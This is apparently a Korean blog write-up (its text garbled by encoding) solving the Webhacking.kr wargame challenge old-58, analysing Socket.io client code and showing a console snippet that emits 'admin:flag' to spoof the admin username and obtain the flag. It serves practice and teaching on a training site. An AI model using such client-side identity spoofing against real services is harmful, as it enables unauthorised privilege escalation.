Home [Wargame] Webhacking.kr old-58 (Javascript)
Post
Cancel

[Wargame] Webhacking.kr old-58 (Javascript)

๐Ÿšฉ ๋ฌธ์ œ ํŒŒ์•…

image

๋ฌธ์ œ์— ์ ‘์†ํ•˜๋ฉด ์ฑ„ํŒ…์ฐฝ ๋ชจ์Šต์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ์•„๋ฌด ๊ฐ’์„ ์ž…๋ ฅํ•˜๋‹ˆ ๋ช…๋ น์–ด๋ฅผ ์ฐพ์„ ์ˆ˜ ์—†๋Š” ๋ฌธ๊ตฌ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์•„ CLI๋ฅผ ๊ตฌํ˜„ํ•ด ๋†“์€ ๊ฒƒ์œผ๋กœ ์œ ์ถ”ํ•  ์ˆ˜ ์žˆ๋‹ค.


help ๋ช…๋ น์–ด๋ฅผ ์ž…๋ ฅํ•˜๋‹ˆ ์‚ฌ์šฉ๊ฐ€๋Šฅํ•œ ๋ช…๋ น์–ด๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๊ณ , ๋‹ค๋ฅธ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•œ ๊ฒฐ๊ณผ ์œ„์™€ ๊ฐ™์€ ์‘๋‹ต์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

id ๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด ํ˜„์žฌ ์‚ฌ์šฉ์ž๊ฐ€ admin ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜์˜€์œผ๋‚˜, flag ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์†Œ์Šค์ฝ”๋“œ๋ฅผ ํ™•์ธํ•ด๋ณด์ž.


1
2
3
4
5
6
7
8
9
10
11
12
13
$(function () {
    var username = "guest";
    var socket = io();
    $('form').submit(function(e){
    e.preventDefault();
    socket.emit('cmd',username+":"+$('#m').val());
    $('#m').val('');
    return false;
    });
    socket.on('cmd', function(msg){
    $('#messages').append($('<li>').text(msg));
    });
});

script ํƒœ๊ทธ ๋‚ด์—์„œ ์œ„์™€ ๊ฐ™์€ javascript ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค. ํ•ด๋‹น ์Šคํฌ๋ฆฝํŠธ์˜ ์—ญํ• ์„ ๋ถ„์„ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

  1. var socket = io();

    ์œ„ ๋ช…๋ น์„ ํ†ตํ•ด Socket.io ๋ชจ๋“ˆ์„ ์‚ฌ์šฉํ•œ๋‹ค. Socket.io๋Š” node.js ๊ธฐ๋ฐ˜ ์‹ค์‹œ๊ฐ„ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ง€์› ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋กœ, ์‹ค์‹œ๊ฐ„ ์ฑ„ํŒ…์„ ๊ตฌํ˜„ํ•  ๋•Œ ์‚ฌ์šฉ๋œ๋‹ค.

  2. socket.emit('cmd',username+":"+$('#m').val());

    socket.emit ๋ช…๋ น์–ด๋Š” ์„œ๋ฒ„ ์ชฝ์—์„œ event๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๋Š” ํ•จ์ˆ˜๋กœ, ์ฒซ ๋ฒˆ์งธ ์ธ์ž๋Š” event์˜ ์ด๋ฆ„์„, ๋‘ ๋ฒˆ์งธ ์ธ์ž๋กœ๋Š” ํ•ด๋‹น ์†Œ์ผ“์„ ํ†ตํ•ด ํด๋ผ์ด์–ธํŠธ์—๊ฒŒ ๋ฉ”์‹œ์ง€๋ฅผ ์ „๋‹ฌํ•œ๋‹ค. ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ ๊ฐ’์„ cmd ๋ช…๋ น์–ด๋กœ ์‹คํ–‰ํ•œ๋‹ค. ์ด๋•Œ, username ๋ณ€์ˆ˜ ๊ฐ’์„ ๋ช…๋ น ์•ž์— ๋ถ™์—ฌ ์‚ฌ์šฉํ•˜๋Š”๋ฐ ์ด๋Š” ํ•ด๋‹น ์‚ฌ์šฉ์ž์˜ ๊ถŒํ•œ์œผ๋กœ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•จ์„ ์˜๋ฏธํ•œ๋‹ค. ์—ฌ๊ธฐ์„œ username ๋ณ€์ˆ˜ ๊ฐ’์€ โ€˜guestโ€™๋กœ ๋˜์–ด์žˆ๋‹ค.

  3. socket.on('cmd', function(msg){ $('#messages').append($('<li>').text(msg)); });

    socket.on ๋ช…๋ น์–ด๋Š” ์ฒซ ๋ฒˆ์งธ ์ธ์ž๋กœ ๋ฐ›์€ event๊ฐ€ ํด๋ผ์ด์–ธํŠธ์—์„œ emit ๋˜๋ฉด, ๋‘ ๋ฒˆ์งธ ์ธ์ž๋กœ ๋ฐ›์€ ์ฝœ๋ฐฑ ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•œ๋‹ค. ์‘๋‹ต์„ ์ˆ˜์‹ ํ•˜๋Š” ๊ธฐ๋Šฅ์œผ๋กœ ์œ„์—์„œ ์ „๋‹ฌํ•œ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•œ ๊ฒฐ๊ณผ ๊ฐ’์„ ์ถœ๋ ฅํ•˜๋Š” ์—ญํ• ์„ ํ•œ๋‹ค.


์šฐ๋ฆฌ๋Š” socket ํ†ต์‹ ์„ ํ†ตํ•ด admin์œผ๋กœ flag ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ๊ฒฐ๊ณผ ๊ฐ’์„ ์ˆ˜์‹  ๋ฐ›์œผ๋ฉด ๋˜๋Š” ๋ฌธ์ œ์ด๋‹ค.




๐Ÿšฉ ๋ฌธ์ œ ํ’€์ด


1
2
3
4
var socket = io();  // ์†Œ์ผ“ ํ†ต์‹ ์„ ์‹œ์ž‘

socket.emit('cmd','admin:flag');  // cmd ์ด๋ฒคํŠธ๋กœ admin:flag๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ํ•œ๋‹ค
socket.on('cmd', function(res) {console.log(res)});  // cmd ๋ช…๋ น ์‹คํ–‰ ๊ฐ’์„ ์ฝ˜์†” ์ฐฝ์— ์ถœ๋ ฅํ•œ๋‹ค.

์ฝ˜์†” ์ฐฝ์—์„œ ์œ„์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•œ๋‹ค.


image

๊ทธ๋Ÿผ ์œ„์™€ ๊ฐ™์ด flag ๊ฐ’์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค!

[Wargame] Webhacking.kr old-47 (SMTP Injection)

[Wargame] Webhacking.kr old-31 (nc)